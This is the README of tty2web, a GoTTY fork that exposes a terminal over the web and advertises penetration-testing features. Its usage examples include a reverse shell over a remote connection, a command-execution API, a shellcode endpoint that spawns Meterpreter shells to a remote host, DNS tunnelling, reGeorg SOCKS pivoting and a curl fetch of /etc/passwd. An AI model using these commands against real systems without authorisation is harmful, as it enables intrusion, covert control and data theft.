tty2web is a simple command line tool that turns your CLI tools into web applications. it is based on Gotty, but heavily improved.

Improvements include:

• implementation of bind and reverse mode (useful for penetration testing/NAT traversal),
• DNS tunnel support - (sub)domain you control is required
• bidirectional file transfer (download/upload)
• regeorg/SOCKS 5 support (bind/reverse mode)
• API support (run commands over API)
• support for Windows (and conpty!)
• components upgrade (go and js including xterm.js)

Download the latest stable binary file from the Releases page. Note that the release marked Pre-release is built for testing purpose, which can include unstable or breaking changes. Download a release marked Latest release for a stable build.

(Files named with darwin_amd64 are for Mac OS X users)

If you have a Go language environment, you can install tty2web with the go install command. However, this command builds a binary file from the latest master branch, which can include unstable or breaking changes. tty2web requires go1.18 or later (embed directive and dependency github.com/urfave/cli have strings.Builder). Also, note that you have to checkot source code and then run go install due to using forked version of pty module.

$ git clone github.com/kost/tty2web
$ cd tty2web
$ go install

I would suggest to build it with following commands (make sure that you have $GOPATH set to valid value):

git clone https://github.com/kost/tty2web $GOPATH/src/tty2web
cd $GOPATH/src/tty2web
make tools
make tty2web

Usage: tty2web [options] <command> [<arguments...>]

Run tty2web with your preferred command as its arguments (e.g. tty2web top).

By default, tty2web starts a web server at port 8080. Open the URL on your web browser and you can see the running command as if it were running on your terminal.

Bind mode is simple, specify port to listen and command to run (add -w if you want to interact):

tty2web --port 8081 top

Point your web browser to IP and port 8081 in order to see output of top. Add -w if you want to interact directly in the browser.

For reverse mode, you need to start listener first:

tty2web --listen :4444 --server 127.0.0.1:8000 --password test

After having listener running, you can start client to connect to the listener:

tty2web --connect 192.168.1.1:4444 --password test -w /bin/sh

Point your web browser to http://127.0.0.1:8000

   --address value, -a value     IP address to listen (default: "0.0.0.0") [$TTY2WEB_ADDRESS]
   --port value, -p value        Port number to listen (default: "8080") [$TTY2WEB_PORT]
   --permit-write, -w            Permit clients to write to the TTY (BE CAREFUL) (default: false) [$TTY2WEB_PERMIT_WRITE]
   --credential value, -c value  Credential for Basic Authentication (ex: user:pass, default disabled) [$TTY2WEB_CREDENTIAL]
   --random-url, -r              Add a random string to the URL (default: false) [$TTY2WEB_RANDOM_URL]
   --enable-webgl                Enable WebGL renderer (default: false) [$TTY2WEB_ENABLE_WEBGL]
   --all                         Turn on all features: download /, upload /, api, regeorg, ... (default: false) [$TTY2WEB_ALL]
   --api                         Enable API for executing commands on the system (BE CAREFUL!) (default: false) [$TTY2WEB_API]
   --sc                          Enable API for executing sc on the system (BE CAREFUL!) (default: false) [$TTY2WEB_SC]
   --regeorg                     Enable socks4/socks5 proxy using regeorg (default: false) [$TTY2WEB_REGEORG]
   --random-url-length value     Random URL length (default: 8) [$TTY2WEB_RANDOM_URL_LENGTH]
   --url value                   Specify string for the URL [$TTY2WEB_URL]
   --jsurl value                 Specify string for custom URL serving Javascript files (useful for DNS) [$TTY2WEB_JSURL]
   --download value              Serve files to download from specified dir [$TTY2WEB_DOWNLOAD]
   --upload value                Enable uploading of files to the specified dir (BE CAREFUL!) [$TTY2WEB_UPLOAD]
   --tls, -t                     Enable TLS/SSL (default: false) [$TTY2WEB_TLS]
   --tls-crt value               TLS/SSL certificate file path (default: "~/.tty2web.crt") [$TTY2WEB_TLS_CRT]
   --tls-key value               TLS/SSL key file path (default: "~/.tty2web.key") [$TTY2WEB_TLS_KEY]
   --tls-ca-crt value            TLS/SSL CA certificate file for client certifications (default: "~/.tty2web.ca.crt") [$TTY2WEB_TLS_CA_CRT]
   --index value                 Custom index.html file [$TTY2WEB_INDEX]
   --title-format value          Title format of browser window (default: "{{ .command }}@{{ .hostname }}") [$TTY2WEB_TITLE_FORMAT]
   --dns value                   Use domain for DNS tunneling (ex. example.com) [$TTY2WEB_DNS]
   --dnslisten value             Listen for reverse connection agents (ex. 0.0.0.0:53) [$TTY2WEB_DNSLISTEN]
   --dnskey value                Password/Key to use for DNS tunnel [$TTY2WEB_DNSKEY]
   --dnsdelay value              Delay time between polling for DNS requests (default: "200ms") [$TTY2WEB_DNSDELAY]
   --listen value                Listen for reverse connection agents (ex. 0.0.0.0:4444) [$TTY2WEB_LISTEN]
   --listencert value            Certificate and key for listen server (ex. mycert) [$TTY2WEB_LISTENCERT]
   --server value                Server for forwarding reverse connections (ex. 127.0.0.1:6000) (default: "127.0.0.1:6000") [$TTY2WEB_SERVER]
   --password value              Password for reverse server connection [$TTY2WEB_PASSWORD]
   --connect value               Connect to host for reverse connection (ex. 192.168.1.1:4444) [$TTY2WEB_CONNECT]
   --proxy value                 Use proxy for reverse server connection (ex. 192.168.1.1:8080) [$TTY2WEB_PROXY]
   --proxyauth value             Use proxy authentication for reverse server connection (ex. DOMAIN/user:password) [$TTY2WEB_PROXYAUTH]
   --useragent value             Use user agent for reverse server connection (ex. Mozilla) [$TTY2WEB_USERAGENT]
   --reconnect                   Enable reconnection (default: false) [$TTY2WEB_RECONNECT]
   --verbose                     Enable verbose messages (default: false) [$TTY2WEB_VERBOSE]
   --reconnect-time value        Time to reconnect (default: 10) [$TTY2WEB_RECONNECT_TIME]
   --max-connection value        Maximum connection to tty2web (default: 0) [$TTY2WEB_MAX_CONNECTION]
   --once                        Accept only one client and exit on disconnection (default: false) [$TTY2WEB_ONCE]
   --timeout value               Timeout seconds for waiting a client(0 to disable) (default: 0) [$TTY2WEB_TIMEOUT]
   --permit-arguments            Permit clients to send command line arguments in URL (e.g. http://example.com:8080/?arg=AAA&arg=BBB) (default: false) [$TTY2WEB_PERMIT_ARGUMENTS]
   --width value                 Static width of the screen, 0(default) means dynamically resize (default: 0) [$TTY2WEB_WIDTH]
   --height value                Static height of the screen, 0(default) means dynamically resize (default: 0) [$TTY2WEB_HEIGHT]
   --ws-origin value             A regular expression that matches origin URLs to be accepted by WebSocket. No cross origin requests are acceptable by default [$TTY2WEB_WS_ORIGIN]
   --term value                  Terminal name to use on the browser, one of xterm or hterm. (default: "xterm") [$TTY2WEB_TERM]
   --close-signal value          Signal sent to the command process when tty2webclose it (default: SIGHUP) (default: 1) [$TTY2WEB_CLOSE_SIGNAL]
   --close-timeout value         Time in seconds to force kill process after client is disconnected (default: -1) (default: -1) [$TTY2WEB_CLOSE_TIMEOUT]
   --config value                Config file path (default: "~/.tty2web") [$TTY2WEB_CONFIG]
   --help                        Displays help (default: false)
   --version, -v                 print the version

You can customize default options and your terminal (hterm) by providing a config file to the tty2web command. tty2web loads a profile file at ~/.tty2web by default when it exists.

// Listen at port 9000 by default
port = "9000"

// Enable TSL/SSL by default
enable_tls = true

// hterm preferences
// Smaller font and a little bit bluer background color
preferences {
    font_size = 5
    background_color = "rgb(16, 16, 32)"
}

See the .tty2web file in this repository for the list of configuration options.

By default, tty2web doesn't allow clients to send any keystrokes or commands except terminal window resizing. When you want to permit clients to write input to the TTY, add the -w option. However, accepting input from remote clients is dangerous for most commands. When you need interaction with the TTY for some reasons, consider starting tty2web with tmux or GNU Screen and run your command on it (see "Sharing with Multiple Clients" section for detail).

To restrict client access, you can use the -c option to enable the basic authentication. With this option, clients need to input the specified username and password to connect to the tty2web server. Note that the credentical will be transmitted between the server and clients in plain text. For more strict authentication, consider the SSL/TLS client certificate authentication described below.

The -r option is a little bit casualer way to restrict access. With this option, tty2web generates a random URL so that only people who know the URL can get access to the server.

All traffic between the server and clients are NOT encrypted by default. When you send secret information through tty2web, we strongly recommend you use the -t option which enables TLS/SSL on the session. By default, tty2web loads the crt and key files placed at ~/.tty2web.crt and ~/.tty2web.key. You can overwrite these file paths with the --tls-crt and --tls-key options. When you need to generate a self-signed certification file, you can use the openssl command.

openssl req -x509 -nodes -days 9999 -newkey rsa:2048 -keyout ~/.tty2web.key -out ~/.tty2web.crt

(NOTE: For Safari uses, see how to enable self-signed certificates for WebSockets when use self-signed certificates)

For additional security, you can use the SSL/TLS client certificate authentication by providing a CA certificate file to the --tls-ca-crt option (this option requires the -t or --tls to be set). This option requires all clients to send valid client certificates that are signed by the specified certification authority.

File transfer is supported by using standard HTTP protocol. It is possible to upload and download. It is not enabled by default. You need to specifically enable upload and/or download. It works both in bind and reverse mode.

Start tty2web server with --download dir specified. If you need access to root - specify root(/):

tty2web --port 8080 --download / -w bash

Now you can download files by pointing browser to http://127.0.0.1:8080/dl/ or with simple curl command:

curl http://127.0.0.1:8080/dl/etc/passwd

It will download /etc/passwd file with curl.

Start tty2web server with --upload dir specified. If you need access to root - specify root(/):

tty2web --port 8080 --upload /tmp -w bash

Now you can upload file by pointing browser to http://127.0.0.1:8080/ul/ or with simple curl command:

curl -F "f=@/etc/passwd" -F "s=upload" http://127.0.0.1:8080/ul/

It will upload file to the tty2web host to the /tmp/passwd file.

tty2web starts a new process with the given command when a new client connects to the server. This means users cannot share a single terminal with others by default. However, you can use terminal multiplexers for sharing a single process with multiple clients.

For example, you can start a new tmux session named tty2web with top command by the command below.

$ tty2web tmux new -A -s tty2web top

This command doesn't allow clients to send keystrokes, however, you can attach the session from your local terminal and run operations like switching the mode of the top command. To connect to the tmux session from your terminal, you can use following command.

$ tmux new -A -s tty2web

By using terminal multiplexers, you can have the control of your terminal and allow clients to just see your screen.

To share your current session with others by a shortcut key, you can add a line like below to your .tmux.conf.

# Start tty2web in a new window with C-t
bind-key C-t new-window "tty2web tmux attach -t `tmux display -p '#S'`"

Install screen:

apt-get install screen

Start a new session with screen -S session-name and connect to it with tty2web in another terminal window/tab through screen -x session-name. All commands and activities being done in the first terminal tab/window will now be broadcasted by tty2web.

When you want to create a jailed environment for each client, you can use Docker containers like following:

$ tty2web -w docker run -it --rm busybox

Start with:

$ tty2web --api top

Now, you can execute commands within GET query parameter space:

$ curl http://127.0.0.1:8080/api/?whoami
root

or with POST parameter:

$ curl -d whoami http://127.0.0.1:8080/api/
root

Requirement to have DNS tunneling working is that you have (sub)domain you control. You need to setup NS pointing to where you will host your DNS server. From there you will access to the client.

Start DNS server:

$ tty2web --dns example.com --dnslisten :53 --server 127.0.0.1:8000

Start DNS client:

$ tty2web --dns example.com --dnskey <dnskey> top

Note that DNS tunneling can be slow.

You can speed up DNS boot up time to fetch initial javascript from Javascript on the Internet URL:

$ tty2web --dns example.com --dnskey <key> --jsurl http://cdn.jsdelivr.net/gh/kost/tty2web/bindata/static/js/ top

Start with:

$ tty2web --sc top

Now, you can execute sc within POST query parameter space:

$ curl -d "base64-encoded-string-with-sc"  -ivk http://127.0.0.1:8080/sc/
root

or from file with POST parameter:

$ curl -d "@sc-127.0.0.1-4444.b64"  -ivk http://127.0.0.1:8080/sc/

spawn Meterpreter shell over tcp to 192.168.1.1:

$ curl -H 'Accept-Language: msf-tcp' 'http://127.0.0.1:8080/sc/?192.168.1.1:4444'

spawn Meterpreter shell over https to 192.168.1.1:

$ curl -H 'Accept-Language: msf-https' -d '192.168.1.1:4444' http://127.0.0.1:8080/sc/

Start with:

$ tty2web --regeorg top

Now, you can start regeorg proxy:

$ pip install regeorg
[..]
$ reGeorgSocksProxy.py -u http://127.0.0.1:8080/regeorg/
[..]
[INFO   ]  Starting socks server [127.0.0.1:8888], tunnel at [http://127.0.0.1:8080/regeorg]
[..]

Now, you can pivot using socks4/socks5 proxy available on 127.0.0.1:8888:

$ curl -x socks5://127.0.0.1:8888 http://192.168.1.96

You can build a binary using the following commands. There is basic Windows support, but it is limited. go1.16 or later is required.

# Install tools
make tools

# Build
make

To build the frontend part (JS files and other static files), you need npm.

There is solid Windows support by using conpty. conpty support is available on Windows 10+ versions. It should fallback if conpty is not supported to standard stdin/stdout, but that is limited. In that fallback mode, cmd.exe did not work, but powershell.exe works:

tty2web.exe -w powershell.exe

tty2web uses xterm.js and hterm to run a JavaScript based terminal on web browsers. tty2web itself provides a websocket server that simply relays output from the TTY to clients and receives input from clients and forwards it to the TTY. This hterm + websocket idea is inspired by Wetty.

• gotty-client: If you want to connect to tty2web or GoTTY server from your terminal

• gotty: Original gotty on which tty2web is based
• maintaned gotty: Maintained gotty
• Secure Shell (Chrome App): If you are a chrome user and need a "real" SSH client on your web browser, perhaps the Secure Shell app is what you want
• Wetty: Node based web terminal (SSH/login)
• ttyd: C port of GoTTY with CJK and IME support

• tmate: Forked-Tmux based Terminal-Terminal sharing
• termshare: Terminal-Terminal sharing through a HTTP server
• tmux: Tmux itself also supports TTY sharing through SSH)

tty2web is based on gotty. To be specific, it is based on latest master branch at the time of the fork commit on 13 Dec 2017

The MIT License